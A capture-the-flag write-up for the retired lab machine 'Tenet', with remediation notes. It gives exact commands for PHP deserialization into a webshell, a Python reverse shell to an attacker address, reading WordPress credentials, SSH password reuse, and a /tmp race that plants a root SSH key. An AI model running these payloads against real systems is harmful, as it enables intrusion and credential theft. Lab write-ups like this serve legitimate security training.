Tenet
Summary
I scanned $TARGET and found Apache 2.4.29 on port 80 and SSH on port 22. Directory brute-forcing uncovered a WordPress installation at /wordpress, and a blog comment pointed to a file named sator.php. A .bak backup copy of that file was left accessible on the bare IP and disclosed the complete PHP source of a class whose destructor wrote my own content to my own filename whenever PHP deserialized an untrusted GET parameter.
I crafted a malicious serialized object to write a PHP webshell onto the server, gaining remote code execution as the Apache web user (www-data). Reading the WordPress configuration file through that webshell yielded plaintext database credentials (neil / [REDACTED: recovered credential]) that were reused verbatim as the SSH password for the local Linux account neil, providing an interactive shell and the user flag. A sudo rule let neil run a shell script as root without a password; that script called mktemp -u to generate a temporary filename without atomically creating the file, leaving a predictable, world-writable /tmp/ssh-* path open for a race window before the authorized key was written.
By racing a loop that repeatedly overwrote any /tmp/ssh-* file with my own SSH public key against repeated invocations of the sudo script, I substituted their key into root's authorized_keys, granting passwordless root SSH and full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p22,80 $TARGETecho "$TARGET tenet.htb" | sudo tee -a /etc/hostsgobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt -x php,bak,txtExact commands 1
curl -sS http://$TARGET/sator.php.bakFixRemove backup and source-disclosure files from the web rootHigh
Exact commands 2
payload='O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"attack.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}' && curl -sS --get --data-urlencode "arepo=$payload" http://$TARGET/sator.phpcurl -sS --get --data-urlencode 'cmd=id' http://$TARGET/attack.phpFixNever pass untrusted input to PHP's unserialize()Critical
Exact commands 2
nc -lvnp 4444curl -sS --get --data-urlencode 'cmd=python3 -c "import socket,os,pty;s=socket.socket();s.connect((\"$ATTACKER_IP\",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")"' http://$TARGET/attack.phpExact commands 1
curl -sS --get --data-urlencode 'cmd=cat /var/www/html/wordpress/wp-config.php' http://$TARGET/attack.phpFixUse unique, non-reused passwords for database accounts and OS user accountsHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null neil@$TARGET 'id; cat ~/user.txt'Exact commands 6
sudo -lcat /usr/local/bin/enableSSH.shssh-keygen -q -t rsa -b 2048 -N '' -f /tmp/tenet_keywhile true; do for f in /tmp/ssh-*; do [ -f "$f" ] && cat /tmp/tenet_key.pub > "$f" 2>/dev/null; done; done &while true; do sudo /usr/local/bin/enableSSH.sh 2>/dev/null; donessh -i /tmp/tenet_key -o StrictHostKeyChecking=no root@$TARGET 'id; cat /root/root.txt'FixEliminate the TOCTOU race condition in the enableSSH.sh sudo scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |